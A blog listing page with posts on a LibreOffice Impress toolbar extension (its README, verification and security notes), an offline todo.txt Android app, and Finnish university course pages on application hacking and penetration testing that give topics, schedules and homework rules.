OpenOffice

tBar for LibreOffice Impress

Fri, 02 Oct 2026 17:04:19 +0300

Hide slide overflow.

Change slide layout from toolbar, don't waste 10% of screen for sidebar.

An extension for LibreOffice Impress.

Download tbar-impress.oxt. LibreOffice Impress: Tools: Extensions: Add.

Beta. Tested with LibreOffice Impress 25.2.3.2. It's the one that comes with Debian stable, 13-trixie. Or just 'sudo apt-get update; sudo apt-get install libreoffice-impress'. Created with the assistance of artificial intelligence.

README.md

Change a slide's layout in one click, and see at a glance what is hanging off the edge of your slide.

tBar Impress adds one toolbar to Impress with two things:

Slide layout toolbar buttons – the 12 standard slide layouts (Blank, Title Slide, Title and Content, two columns, …) as one-click buttons. No more hunting in the sidebar or in Slide ▸ Layout.
Hide slide overflow – one button that shades everything outside the slide. Pictures, charts or text boxes that stick out past the edge become obvious, and what is left bright is exactly what your audience will see. The shading exists only on screen: it is never printed, never exported, never saved, never in Undo, and it does not mark your file as changed.

Start using it

Download the latest tbar-impress-VERSION.oxt (for example tbar-impress-0.0.3.oxt).
In LibreOffice: Tools ▸ Extensions ▸ Add…, choose the downloaded .oxt file, then restart LibreOffice.
Open or create a presentation. The tBar Impress toolbar appears under the other toolbars. If you don't see it: View ▸ Toolbars ▸ tBar Impress.

Using it:

Click a layout button to apply that layout to the current slide. Hover for its name.
Click Hide slide overflow (the last button) to turn the shading on or off.
Click the small arrow next to it to pick how dark the shading is (10 %–100 %, default 50 %). Picking a level also turns the shading on. The level is remembered.
The same commands are in the menu: View ▸ Hide slide overflow.

If you used the earlier Quick Layouts or Dim Non-Visible Area extensions, remove them in Tools ▸ Extensions; tBar Impress replaces both.

To remove tBar Impress: Tools ▸ Extensions, select it, Remove.

Requires LibreOffice 7.0 or later with Python support (included in the official installers; on Linux distributions it may be a separate package such as libreoffice-script-provider-python). Tested on LibreOffice 24.2.

Verify the code

You don't have to trust this extension blindly. There is no separate source download, because there doesn't need to be one. tbar-impress-VERSION.oxt is an ordinary ZIP file containing only text files (Python, XML, Markdown) and PNG images; there is no compiled code. The .oxt is the complete source, including this README, the tests and the build tool.

unzip tbar-impress-*.oxt -d tbar-impress
cd tbar-impress

What's inside

File	What it is
`tbar.py`	The only code LibreOffice runs (~480 lines, heavily commented). Implements Hide slide overflow.
`Addons.xcu`	Declares the toolbar buttons, the View-menu entries and which icon goes with which button. Plain data.
`ProtocolHandler.xcu`	Routes commands starting with `com.terokarvinen.tbar-impress:` to `tbar.py`.
`WindowState.xcu`	Shows the toolbar docked at the top on first start.
`META-INF/manifest.xml`	The list of files LibreOffice registers: exactly the four above.
`description.xml`	Name (tBar Impress), version, publisher, identifier `com.terokarvinen.tbar-impress`, minimum LibreOffice version.
`icons/*.png`	26 toolbar icons (13 buttons × 2 sizes).
`README.md`, `docs/screenshot.png`	This document.
`tests/`, `tools/`	Checks and build tool (below). LibreOffice does not run these; it only registers what `META-INF/manifest.xml` lists.
`LICENSES/`, `REUSE.toml`	Both license texts (GPL-3.0-or-later, MPL-2.0), and licensing info for the PNG files.

The Slide layout toolbar buttons contain no code. Each one runs LibreOffice's own built-in command .uno:AssignLayout with a layout number, exactly as the sidebar's Layouts panel does.

1. Check that the `.oxt` contains nothing but these files

The build is reproducible, so rebuilding from the unzipped files must give a byte-identical package:

python3 tools/build.py # writes dist/tbar-impress-VERSION.oxt, prints its SHA-256
sha256sum ../tbar-impress-*.oxt # the file you downloaded

If both hashes match, the package holds exactly the files you just unzipped and can read, and nothing hidden.

To confirm the file really comes from the author, compare its SHA-256 with the one published next to the download at https://TeroKarvinen.com.

2. Read what the code is able to do

grep -nE "^import|^from" tbar.py # json, os, re + LibreOffice's own uno modules only
grep -n "open(" tbar.py # one settings file, nothing else

The comment block at the top of tbar.py lists everything the code touches.

3. Static checks (no LibreOffice needed)

python3 tests/check_static.py

This prints one PASS/FAIL line per check. It verifies that:

all XML is well-formed;
the manifest registers exactly the expected files;
identifier, name and publisher are correct, and the version is digits and dots only;
the toolbar has the 12 layouts in order, with the layout numbers from LibreOffice's source (the source location is given in the script), then a separator, then Hide slide overflow;
every button has an icon and no icon is unused;
names agree between tbar.py and the .xcu files;
tbar.py imports nothing beyond json, os, re and LibreOffice's own modules, contains no eval/exec/shell/network calls, and opens no file except its settings file;
every file carries the copyright and license tags.

4. Live test in a real LibreOffice

python3 tools/build.py
python3 tests/live_test.py # tests dist/tbar-impress-VERSION.oxt

This needs LibreOffice and a Python that can import uno. On Linux that is the python3-uno package; on Windows or macOS, use the Python inside LibreOffice. It does not touch your own LibreOffice setup: it creates a temporary profile, installs the .oxt there with unopkg add, and opens a window for about 30 seconds. It then checks, among other things:

LibreOffice registers only the four manifest files, so the README, tests and tools inside the package are inert;
the toolbar shows the 14 expected items in order;
every layout button applies its layout;
the shading appears, follows slide changes (also in Window ▸ New Window), and its darkness can be picked;
with real mouse clicks: the arrow opens the dropdown with all ten levels, picking one works, and a plain click then toggles. This part needs xdotool on X11; elsewhere it is reported as SKIP;
the shading never marks the document modified and never enters Undo;
it is absent from files written by Save, Save As, Save a Copy (.odp, .pptx) and PDF export, and comes back afterwards;
unknown commands are ignored;
the toolbar does not appear in Draw.

Result on LibreOffice 24.2.7: 38 of 38 checks pass.

5. Licensing

Everything is Copyright 2026 Tero Karvinen https://TeroKarvinen.com and dual-licensed GPL-3.0-or-later OR MPL-2.0. Every file carries both SPDX tags: SPDX-FileCopyrightText and SPDX-License-Identifier: GPL-3.0-or-later OR MPL-2.0. Text files have them in a comment. PNG images have them embedded as PNG text metadata (python3 tools/png_spdx.py show icons/*.png) and also listed in REUSE.toml. reuse lint reports the project as compliant with REUSE 3.3. Both license texts are the official ones: LICENSES/GPL-3.0-or-later.txt from gnu.org (SHA-256 3972dc9744f6499f0f9b2dbf76696f2ae7ad8af9b23dde66d6af86c9dfb36986) and LICENSES/MPL-2.0.txt from mozilla.org (SHA-256 3f3d9e0024b1921b067d6f7f88deb4a60cbe7a78e76c64e3f1d7fc3b779b9d04).

Don't hurt your precious eyes - artificial intelligence has helped creating this addon.

Security implications

Extensions run with your full user rights. LibreOffice does not sandbox extensions, so tbar.py could in principle do anything you can do. That is why the checks above exist. In fact, it imports no network, process or system modules (step 2, enforced by step 3).
Not signed. LibreOffice extensions are normally unsigned. Use step 1 to confirm the package holds only what you can read, and the published checksum to confirm where it came from.
One file written: <your LibreOffice profile>/config/tbar-impress.json, containing only {"darkness": NN}. Only the ten values 10, 20, …, 100 are accepted on reading and on writing; anything else falls back to 50.
Your documents: while the shading is on, tBar Impress adds one shape and one layer, both named "tBar Impress…", to the open presentation, and removes both before every save, export and autorecovery copy. If you copy a slide while the shading is on and paste it into another presentation, the shading shape is pasted with it. Delete it there (Navigator, or turn the shading on and off once in that file).
Commands from documents: like any LibreOffice command, tBar Impress commands could be triggered by a macro or link inside a document you open. The worst they can do is toggle the shading or change its darkness.
Layout buttons: no code; they call LibreOffice's built-in layout command.
Files that are not run: the test and build scripts inside the package are ordinary Python you would run yourself. LibreOffice never runs them (checked by the live test).

How it works (briefly)

Slide layout toolbar buttons. Addons.xcu defines a toolbar whose buttons run .uno:AssignLayout?WhatLayout:long=N, where N is LibreOffice's AutoLayout number (include/xmloff/autolayout.hxx). For example, 20 = Blank, 0 = Title Slide, 1 = Title and Content, 34 = Title and 6 Content. Icons are mapped in the Images section.

Hide slide overflow. tbar.py is a UNO protocol handler for com.terokarvinen.tbar-impress: URLs. Turning it on draws a black polygon with a slide-shaped hole, five times the slide size, on top of the current slide, with transparency 100 − darkness. The polygon sits on its own locked, non-printable layer. Every edit is done with Undo locked and the modified flag restored. Listeners move it to whichever slide a window shows. A document-event listener removes it on OnSave, OnSaveAs and OnCopyTo (Save a Copy, exports, autorecovery) and puts it back on the matching …Done/…Failed events. The toolbar button is a ToggleDropdownButton; the dropdown list is sent to it with a SetList control command.

Changes compared with the two earlier extensions

tBar Impress merges Quick Layouts and Dim Non-Visible Area, with new names. Fixed along the way:

Shading leaked into files. Save a Copy, PDF/PPTX export and autorecovery copies included the shading shape. Those saves raise the event OnCopyTo, but the old code listened for OnSaveTo, which is LibreOffice's internal name that listeners never receive. Found by the live test.
A second window of the same presentation (Window ▸ New Window) did not get the shading.
After a second window was closed, the shading's layer could not be removed (a LibreOffice quirk: layers are removed through the "current view", which is empty until a window is activated). tBar Impress now activates the window and retries.
Unknown commands, including the View-menu submenu title, were treated as "toggle". They are now ignored.
Invalid darkness values are refused before they are stored.

Making a release

Increase the version in description.xml for every release, even a small fix. LibreOffice offers an update only when the version is higher. Use digits and dots only (0.0.3, 0.0.4, …, 0.1.0); LibreOffice compares each part as a number and does not understand suffixes like -beta.
python3 tests/check_static.py, then python3 tools/build.py, then python3 tests/live_test.py.
Publish dist/tbar-impress-VERSION.oxt together with its SHA-256 (sha256sum tbar-impress-VERSION.oxt > tbar-impress-VERSION.oxt.sha256).

Only the published file names carry the version. Files inside the package (including this README) do not.

Copyright and license

tBar Impress is dual-licensed. You may use, modify and redistribute it under either of these licenses, at your choice:

the GNU General Public License, version 3 or (at your option) any later version (LICENSES/GPL-3.0-or-later.txt), or
the Mozilla Public License, version 2.0 (LICENSES/MPL-2.0.txt).

The MPL-2.0 option is there so that tBar Impress, or parts of it, can be taken into LibreOffice itself, whose own code is under MPL-2.0. The GPL option stays for anyone who prefers it.

tBar Impress is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the license texts for details.

Big screenshot

Back to #top

Download

Download tbar-impress.oxt

0x54ask - Todo.txt manager for Android. Offline, works with syncthing.

Sun, 30 Aug 2026 22:24:37 +0300

0x54ask is a todo.txt manager. It supports context (@W at work, @H at home...) and tags (+linux, +bank, +tero).

0x54ask forks SimpleTask Cloudless. It provides passive perks: data safety, automerge, filesystem protection - and it never connects Internet, at all.

Update: Install on F-Droid!

Install on F-Droid

ps. Hey Google! Don't be evil. KeepAndroidOpen.org.

Download

Download 0x54ask installer apk or read sources on GitLab.

What is 0x54ask?

0x54ask is a todo.txt manager. It supports context (@W at work, @H at home...) and tags (+linux, +bank, +tero).

0x54ask forks SimpleTask Cloudless. It provides passive perks: data safety, automerge, filesystem protection - and it never connects Internet, at all.

Todo.txt manager - context and tags

Context: You write down a task. If it was the only thing, what would be the next action? Drill a hole for picture? If the wall is in your home, you've got to do it there. Thus, @H (at home).

Tags: I'll be working on +linuxeu project for the next 5 hours. Show me all tasks I can bill on that. Thus, filter by +linuxeu.

Plain text: Todo.txt is - surprise - plain text. You can edit it with vim, emacs, micro or nano. Todo.txt and calendar.txt use the same +plustags and @Contexts.

Fully offline, or synchronize how you like.

0x54ask passive perks

What does 0x54ask fork bring to the table? Data safety, better sync, smaller attack surface, modern interfaces. These benefits work passively. You don't have to do anything to use them.

0x54ask:

Keeps your data safe. It automatically detects if todo.txt has been modified by other programs (such as text editor or syncthing). Modifications appear as soon as 0x54ask sees them. Changes are stored as soon as they are made. At the time of writing, current state of file is checked again.
Automatic merge. If a conflict is detected, 0x54ask can often automatically merge the changes. This is possible, because todo.txt is a line based format, and many changes appear in different lines. Main approach to auto merge is generic and works, no matter which program made the changes. There is additional support for automatic resolution of Syncthing conflicts. Special support is needed, because these sync conflicts can happen while 0x54ask is not running.
Filesystem protection: You can pick the directory where todo.txt is. This will be the only directory available for the app. This restriction is enforced by the operating system. The whole filesystem backend was updated to use modern SAF, the Storage Access Framework.
No Internet, ever. There is no INTERNET permission, so the operating system prevents app from accessing the Internet. Any synchronization is handled by other applications of your choice, Syncthing (Syncthing fork) recommended. You can also use the app completely offline. Also, all networking related code was removed from the app.

And of course, 0x54ask is Free, Open Source Software under GPL 3 license. I used new name and app id for 0x54ask, while also giving credit to upstreams of this fork. This way, upstream gets credit for their work, but not reports for my bugs.

Background

The original SimpleTask Cloudless aka simpletask-android was developed by Mark Janssen. The original is now archived and removed from F-Droid. The design and UI felt great, and I could not find an alternative that could compete.

0x54ask is a fork of willemw12/simpletask-android by Willem W, a fork of the original SimpleTask. Forking made sense, since some of the changes were large (SAF backend), some removed code (networking), and a key promise is not necessarily shared (no Internet in 0x54ask, no plans for Internet in 0x54ask). Like original SimpleTask, willemw12 fork still asked for access to all files and photos on the phone. The fork had many improvements over the original, so it felt like a good starting point.

Artificial intelligence was used to help create the improvements after forking.

The task format is todo.txt by Gina Trapani. Todo.txt works well with calendar.txt.

Download

Download 0x54ask installer apk or read sources on GitLab.

Adminstrivia

"Get it on" F-Droid logo property of F-Droid contributors.

Sovellusten hakkerointi

Tue, 18 Aug 2026 15:03:30 +0300

Find vulnerabilities in your app - before criminals do.

This is "Application hacking" in Finnish: "Sovellusten hakkerointi ja haavoittuvuudet". In nerd speak, it's reverse engineering. You'll learn Ghidra, gdb and similar.

Co-taught with Lari Iso-Anttila. Sold out, queue started.

Visitor: Otto Ebeling hacked crypto and got big money - legally and ethically. (Maybe OSINT his Ltd 2023)

Update: Extra group started!


Course name	Sovellusten hakkerointi ja haavoittuvuudet
Study guide	Sovellusten hakkerointi ja haavoittuvuudet ICI012AS3A kurssikuvaus, toteutus ICI012AS3A-3004;
Timing	2026 period 1, early autumn (w34-w41) (schedule)
Credits	5 ECTS
Classes	Pasila, classroom pa5001 (Tero) and pa3005 (Lari), bring your laptop. Thu 14:00-16:45.
Max students	30, ~~sold out, queue started~~ Extra group, good change for a place.
Language	Finnish (+reading and writing in English)
Remote	No, fully contact in Pasila classroom, mandatory participation
Feedback	4.3 - 4.8 / 5 Excellent feedback
Services	Moodle: Sovellusten hakkerointi ja haavoittuvuudet. Laksu. Voluntary extra: Tero's list.
Teachers	Tero Karvinen and Lari Iso-Anttila
First class	2026-08-20 w34 Thu 14:30 pa5001, bring your laptop. (Yes, first time starts half an hour later)
Enroll	Extra group starting, come to the first class! ~~Sold out. For a change at a place from the queue, enroll in Peppi and come to the first class.~~

This page will be updated before and during the course.

Schedule

Thursdays 14:00-16:45 in Pasila, classroom pa5001 & pa3005. Bring your laptop! Check your group (Leijona or Mänty) from Moodle.

Day	Topic (mänty)	Topic (leijona)
2026-08-20 w34 Thu	1. Introduction. Warm-up. Overview. 16:00 Visitor: Janne: Standards and frameworks.	Intro.
2026-08-27 w35 Thu	2. 14:00 normal start time. Hacking in and fixing vulnerabilities from source code pa5001 T. h2	Dynamic analysis. pa3005 L. h5.
2026-09-03 w36 Thu	3. Vierailija Otto Ebeling. Web hacking teardown. pa5001 T h3	Otto. Dynamic analysis 2 [or Crypto] 2. pa3005.
2026-09-10 w37 Thu	4. Ghidra. pa5001 T. h4	Embedded. pa3005. h6.
2026-09-17 w38 Thu	5. Dynamic analysis. Debuggers and gdb. pa3005. h5.	Hack & fix from source. pa5001. h2.
2026-09-24 w39 Thu	6. Embedded systems. pa3005. h6	Web hacking teardown. Ghidra. pa5001. h4.
2026-10-01 w40 Thu	7. Happy Hacking Day No regular classes - visit Happy Hacking Day instead.	Happy hacking day.
2026-10-08 w41 Thu	8. Capture the Flag. Tero and Lari.	CTF.

This is an advanced course, so topics may change as the course progresses. We expect only the topics change, the dates and the hours are expected to stay unchanged.

Prerequisites

At the start of the course, you should know:

Programming basics
Linux basics
Installing Linux on a virtual machine on your own laptop

For this Finnish implementation, you should be able to speak Finnish fluently; and read and write Finnish and English.

Prior knowledge acquired in any way is acceptable. Knowledge can be obtained, for example, from "Linux Servers" or "Programming 1" courses, but self-study is also fine.

Prerequisites may be verified with a survey if necessary, and course participants may be selected based on an initial test if needed.

You can review or learn the skills below before the course if you wish. If you already know the topics, you don't need the review package.

Review Package

If you already know these things, you don't need the review package. You don't have to learn these specific languages. If an initial test is held during the course, questions won't be limited to the review package content.

Programming Basics

The course involves coding and reading code
Any language works (e.g., Python or C).
Some students say that C is new to them but very useful in reverse engineering.
Variable, data types (int, float, string, array/list), conditional statement (if-else), loops (for, while), function, class (class, object), execution order
You can write simple programs
You can read programming language and library manuals; and search the web for solutions to simple problems

If you want to review Python on Linux, you can start writing code like this:

$ python3
>>> print("Hello, Tero!")
>>> exit()
$ nano hello.py

And here you can write your program:

print("Hello, Tero!")

Save in nano with ctrl-X, y, enter. I personally install the 'micro' editor when I code more.

$ python3 hello.py
Hello, Tero!

And the language basics are explained here:

I often review languages by writing a bunch of easy warm-up programs.

Linux Basics

Linux is used as a tool. Basic skills are sufficient. The course does not require extensive Linux administration skills.

Using the command line
Root privileges (sudo)
Package management (apt-get)
Directory structure (e.g., /home/tero/, /etc/, /, /var/log, /usr/bin/, /usr/local/bin/)
Logs (sudo journalctl -n 20; /var/log/apache2/error.log)

Learn the commands from: Karvinen 2020: Command Line Basics Revisited

The easiest way to review is to install Linux on a virtual machine and play with it.

Installing Linux on a Virtual Machine

For example, installing Debian in VirtualBox (instructions below)
You can use other virtualization solutions if you can adapt and solve related challenges yourself (e.g., QEMU, lib-virt, virt-manager...)

Students have installed hundreds of Linuxes with this installation guide: Install Debian on Virtualbox - Updated 2024

(For Macintosh users: Apple Macintosh M1, M2, M3, M4... is not suitable for the course. Macs use arm64 architecture, course requires amd64 (x86-64). It's recommended to bring a regular PC laptop for the course, as many applications and virtual machines used in exercises are only available for this more common amd64 architecture. We recommend bringing an amd64-based laptop running Linux or Windows.)

Previous Implementations

Application Hacking and Vulnerabilities ICI012AS3AE-3001 (English) ja ICI012AS3A-3003 (Finnish) 2026p3 alkukevät

All implementations "Application Hacking and Vulnerabilities"

Homework

Homework report links are submitted to Laksu 24 hours before the contact session. After submitting your own assignment, you peer-assess two classmates' assignments.

Homework is done and reported after each class. Assignments can be published anywhere and the link submitted to Laksu. Homework reports must be in a format viewable directly in a browser, as a regular HTML web page. No odt, no odp, no ppt, no docx, no doc, no pdf. Homework cannot be submitted by email. Links are submitted to Laksu and then two works are peer-assessed. Free web hosting is available from WordPress.com, GitHub.com, and Gitlab.com.

Assignments are official only after they are given at the end of class. Even if the assignment might sometimes be on the web page before class, they should not be done in advance, as they are evaluated according to the given assignment. Significant changes may be made before confirmation.

Homework is reviewed at the next meeting, problems are solved together, and oral feedback is given. The grade for the homework package is given only at the end of the course, but assignments must still be submitted 24 hours before the next class. Those who don't start completing the course by submitting assignments will be removed from the course. Publishing is voluntary but highly recommended. If for some reason you don't dare or otherwise don't want to publish, you can put the work on a web page behind a password (the same password for all homework) and share this password with classmates. If tests on homework topics are held during classes, their points are included in the homework assessment.

Homework must be done by experimenting on a computer and reporting the course of events, unless otherwise stated in the specific subsection. Reports must contain information that can verify the exercises were done and not fabricated.

All sources used must be cited in the report: course assignment page, classmates' reports, man pages, books. The citation must show which information came from which source. If you ask AI for advice, it must be cited as a source, naming the AI model and specifics. AIs hallucinate; it's recommended to verify the information. Summaries or essays must not be generated with AI or similar techniques; they must be written yourself. It is forbidden to generate text with AI, as your classmates will be reading what you wrote.

Homework Tasks

We embed homework here in a new way, email teacher if you cannot see the tasks.

Loading homework with JavaScript. You can also read homework directly, without JavaScript.

Adminstrivia: This page will update before and during the course. Human verified machine translation was used for parts of this page.

Tunkeutumistestaus

Wed, 12 Aug 2026 10:17:12 +0300

Learn to hack computers to protect your own. In the course, you will break into target computers.

Excellent feedback, reached 5.0 out of 5.

Update: Visitors confirmed: Buuri (pentesting banks), Särökaari (attacking identity?), joohoi (creator of ffuf).


Course name and code	Tunkeutumistestaus ICI005AS3A-3007 (study guide)
Timing	2026 period 1 early autumn, w34-w41
Credits	5 cr
Classes	Thursdays 11:00-13:45, Pasila pa5001, bring your laptop
Max students	30
Language	Finnish (+reading material in English)
Remote	No, fully contact in Pasila classroom
Feedback	4.8 / 5 Excellent feedback* (Best instance 5.0/5)
Services	Moodle: Tunkeutumistestaus, Laksu. Voluntary extra: Tero's list.
First class	2026-08-20 w34 Thu 11:00, pa5001, bring your laptop.

* Best instance 5.0/5, every student gave feedback and every feedback was 5. Lowest 4.5/5 excellent, typical 4.9/5 excellent. Use of penetration testing techniques requires legal and ethical considerations. To safely use these tools, tactics and procedures, you might need to obtain contracts and permissions; and posses adequate technical skills. Check your local laws.

Teaching is in Finnish, so the rest of this page will be in Finnish.

Tunkeutumistestaus on eettisen hakkeroinnin kurssi. Opit, miten murtaudutaan tietokoneille, jotta voisit suojata omat ja toimeksiantajan järjestelmät. Nämä tekniikat, ohjelmat ja taktiikat ovat luvallisia vain tietyissä tilanteissa. Usein pitää hankkia lupia ja tehdä sopimuksia. Lisäksi näiden tekniikoiden turvalliseen käyttöön tarvitaan teknistä taitoa. Perehdy itse paikallisiin lakeihin.

Oppimistavoitteet

Opintojakson suoritettuaan opiskelija

Tuntee tunkeutumistestauksen prosessin pääpiirteissään
Tietää, että tunkeutumistestaukselle on lailliset ja eettiset rajat
Osaa kartoittaa kohdejärjestelmän haavoittuvuuksia
Osaa hyödyntää valmiita hyökkäyksiä (exploit) ja liittää niihin hyötykuorman käyttäen kurssille valittua työkalua
Osaa soveltaa tavallisimpia hyökkäyksiä weppisovelluksia vastaan, kun kohdeohjelmistot ovat helppoja ja haavoittuvia.
Osaa hankkia tunkeutumistestauksessa tarvittavia ohjelmistoja

Kurssilta ei saa mukaansa ilmaista pakettia nollapäivähaavoittuvuuksia, eikä kurssi anna mitään erityisoikeuksia eikä ammattinimikkeitä.

Aikataulu

Torstaisin 11:00 - 13:45 Pasila pa5001.

Päivä	Aihe
2026-08-20 w34 Thu	1. Tunkeutumisen yleiskuva. Järjestäytyminen. Kybertappoketju. Lopetamme poikkeuksellisesti jo 13:00
2026-08-27 w35 Thu	2. Vierailija Marko Buuri, cybersecurity adviser, Suomen Pankki: DORA & threat lead penetration testing (11:00). Harjoitusympäristöt, ulkopuoliset ja oma virtuaalilaboratorio.
2026-09-03 w36 Thu	3. Aktiivinen tiedustelu. Porttiskannaus ja oheistekniikat. Valvonta snifferillä.
2026-09-10 w37 Thu	4. Vierailija Niklas Särökaari, lead cybersecurity operations engineer, KONE: Attacking identity (topic to be confirmed) (11:00). Weppiin murtautuminen. IDOR, path traversal, SSRF. Välimiesproxyt, ZAP tai mitmproxy. Harjoitusympäristöt weppiin.
2026-09-17 w38 Thu	5. Weppiin murtautuminen. SQLi. Keksit. CSRF. Oman TLS-salatun liikenteen purkaminen.
2026-09-24 w39 Thu	6. Vierailija Joona joohoi Hoikkala, creator of ffuf, ffuf + hacking CSRF with preflight, 11:00).
2026-10-01 w40 Thu	7. Happy Hacking Day normaalien tuntien tilalta.
2026-10-08 w41 Thu	8. Lipunryöstö, arvioitava laboratorioharjoitus.

Tämä on edistynyt kurssi, joten tuntien aiheisiin voi tulla muutoksia kurssin edetessä.

Kertausmateriaalia

Tämä materiaali on vapaaehtoista, jos osaat ne jo. Lähteet ovat esimerkkejä, voit osata/opetella nuo asiat mistä vain haluat. Esimerkiksi ohjelmoinnin alkeita harjoitella tai osata aivan millä vain kielellä (Python, C...). Jos kurssilla järjestetään alkutesti, kysymykset eivät rajoitu kertauspaketin materiaaliin.

TCP/IP-pino: Wikipedia: Internet protocol suite
Linuxin komentokehote: Command Line Basics Revisited (ja Linuxin asennus Install Debian on VirtualBox)
Tietokantojen alkeet (millä vain alustalla): PostgreSQL Install and One Table Database - SQL CRUD tutorial for Ubuntu
Ohjelmoinnin alkeet (millä vain kielellä). Python on myös hyvä vaihtoehto. FreeCodeCamp.org: Javascript Algorithms And Data Structures Certification: Basic JavaScript: Introduction to JavaScript

Luettavaa ja linkkejä

€ Maksulliset aineistot saattavat näkyä ilmaiseksi Haaga-Helian tunnuksilla kirjaston kautta. Haaga-Helialla on käyttöoikeus O'Reilly Learning -kirjoihin (ent. Safari).

Työkaluja kurssille

Install Debian on VirtualBox
Remote Learning Tools for Tero's Courses
Kali Linux. Uusi levykuva kali-linux-2021.1-live-amd64.iso (vanha levykuva kali-linux-2020.3-live-amd64.iso). Kun linkki menee vanhaksi, etsi Kalin kotisivulta tuorein amd64-arkkitehtuurin live-tikun iso-kuva.

L2 weppihyökkäyksiä - tukee läksyä h2

OWASP 10 2017 (pdf), erityisesti ne hyökkäykset, joita aiot kohta tehdä eli A2 Broken Authentication, A3 Sensitive Data Exposure, A7 Cross Site Scripting; sekä viime kerralla harjoiteltu A1 Injection.
€ Santos et al 2018: Hacking Web Applications The Art of Hacking Series LiveLessons (video): Security Penetration Testing for Today's DevOps and Cloud Environments: 6.3 Understanding SQL Injection ja 6.4 Exploiting SQL Injection Vulnerabilities sekä Lesson 5: Authentication and Session Management Vulnerabilities
€ Percival & Samancioglu 2020: The Complete Ethical Hacking Course (video): Chapter 21: Cross Site Scripting
Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains

Yleiskuva, harjoitusmaaleja, web

MITRE ATT&CK
Darknet Diaries . Podcastien kuunteluun kännykällä AntennaPod löytyy F-Droidista
MitmProxy on Kali and Xubuntu
Install Webgoat 8 - Learn Web Pentesting. (It's also possible to install old version 7 of WebGoat with Docker).
OWASP 10 2017 (pdf). Tällä hetkellä 2021-02-02 uusin versio.

Aktiivinen tiedustelu. HackTheBox.

€ Santos et al: The Art of Hacking (Video Collection): [..] 4.3 Surveying Essential Tools for Active Reconnaissance: Port Scanning and Web Service Review
man nmap (laaja, silmäily riittää)
Kokonaisia blogeja ja videokanavia, vilkaise, ei tarvitse katsoa 200 h videota:
- https://tools.kali.org/tools-listing
- 0xdf https://0xdf.gitlab.io/
- ippsec https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA/videos
- John Hammond https://www.youtube.com/user/RootOfTheNull/videos?sort=p
- Youtube-videoiden katseluun kännykällä NewPipe F-Droidista. Youtube-videoiden nopeuden säätöön codebicycle Video Speed Controller addon Firefoxille.

Passwords, Learning to Learn tools

infosecn1nja 2020: Red-Teaming-Toolkit
Taylor et al 2018: The Art of Hacking: Hacking User Credentials €

Web Fuzzing, Second to Last Words

Hoikkala "joohoi" 2020: ffuf - Fast web fuzzer written in Go
Hoikkala "joohoi" 2020: Still Fuzzing Faster (U fool). In HelSec Virtual Meetup #1.
Miettinen 2020: iPhone BFU Acquisition and Analysis. In HelSec Virtual Meetup #1.

Metasploit

€ Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit (kohdasta "Conducting a penetration test with Metasploit" luvun loppuun)
Karvinen 2018: Install Metasploitable 3 – Vulnerable Target Computer (Article uses rapid7/metasploitable3-ub1404 , see also "rapid7/metasploitable3-win2k8")

Vanhoja toteutuksia

Tunkeutumistestaus ICI005AS3A-3004 - 2026 loppukevät

Tunkeutumistestaus ICI001AS3A-3002 - 2024p4-loppusyksy

Tunkeutumistestaus 2024p2

Tunkeutumistestaus ici005as3a-3001 loppukevät pa2004

Tunkeutumistestaus ict4tn027-3012 loppusyksy online

Tunkeutumistestaus ict4tn027-3009

Tunkeutumistestaus ict4tn027-3010 - Syksy 2022

Tunkeutumistestaus ict4tn027-3007 - 2022p4 late spring

Tunkeutumistestaus ict4tn027-3008 - 2021 Autumn

itc4tn027-3005: Tunkeutumistestaus eli eettinen hakkerointi -kurssi

Penetration Testing Course 2020 Autumn - Tunkeutumistestaus ict4tn027-3006

Penetration Testing Course 2020 Spring - Tunkeutumistestaus ict4tn027-3003

Haku "Tunkeutumistestaus"

Läksyt

Palauta linkki Laksuun 24 h ennen seuraavaa lukujärjestykseen merkittyä kurssivarausta. Tehtävät ovat pakollinen ja tärkeä osa kurssia.

Läksyt ovat virallisia vasta, kun ne on vahvistettu (yleensä oppitunnin päätteeksi). Tämä on edistynyt kurssi, joten ohjelmaan tulee yleensä muutoksia kurssin aikana. Osa tehtävistä edellyttää huolellisuuden lisäksi tietoja ja taitoja työkalujen käytöstä, jottei synny vahinkoja - tee vasta, kun tiedät oikeat työtavat.

Läksyt käydään läpi seuraavalla tapaamiskerralla, ratkotaan yhdessä ongelmia ja annetaan suullista palautetta. Arvosana kotitehtäväpaketista tulee vasta kurssin lopuksi, mutta tehtävät tulee silti palauttaa aina vuorokautta ennen seuraavia tunteja. Julkaiseminen on vapaaehtoista, mutta erittäin suositeltavaa. Jos et jostain syystä uskalla tai muuten halua julkaista, voit laittaa työn weppisivulle salasanan taakse (kaikille kotitehtäville sama salasana) ja jakaa tämän salasanan kurssilaisten kanssa. Jos tuntien yhteydessä järjestetään testejä läksyjen aiheista, niiden pisteet sisältyvät arvostelun kohtaan läksyt.

Läksyt pitää tehdä tietokoneella kokeilemalla ja raportoida tapahtumien kulku, ellei kyseisessä alakohdassa erikseen muuta lue. Raportti tulee kirjoittaa samalla, kun työskentelee.

Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat.

Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tehtävät tulee tehdä itse, eikä niitä tule antaa suurelta osin tekoälyn ratkaistavaksi. Sehän olisi sama kuin ostaa punttisjäsennyys - ja nokkelasti jättää käymättä punttisalilla.

Kaksi ristiinarviota (vähintään) per palautettu tehtävä. Ristiinarvioilla harjoitellaan palautteen antamista ja analyysia. Anna sisällöllisiä kommentteja, parannusehdotuksia, neuvoja.

Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt.

h1 Kybertappoketju

Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt. Koneet on eristettävä Internetistä hyökkäysten harjoittelun ajaksi.

Tehtävät ovat virallisia vasta, kun ne on annettu tehtäväksi. Niitä ei tule aloittaa etukäteen, koska niiden sisältö voi vielä muuttua olennaisesti.

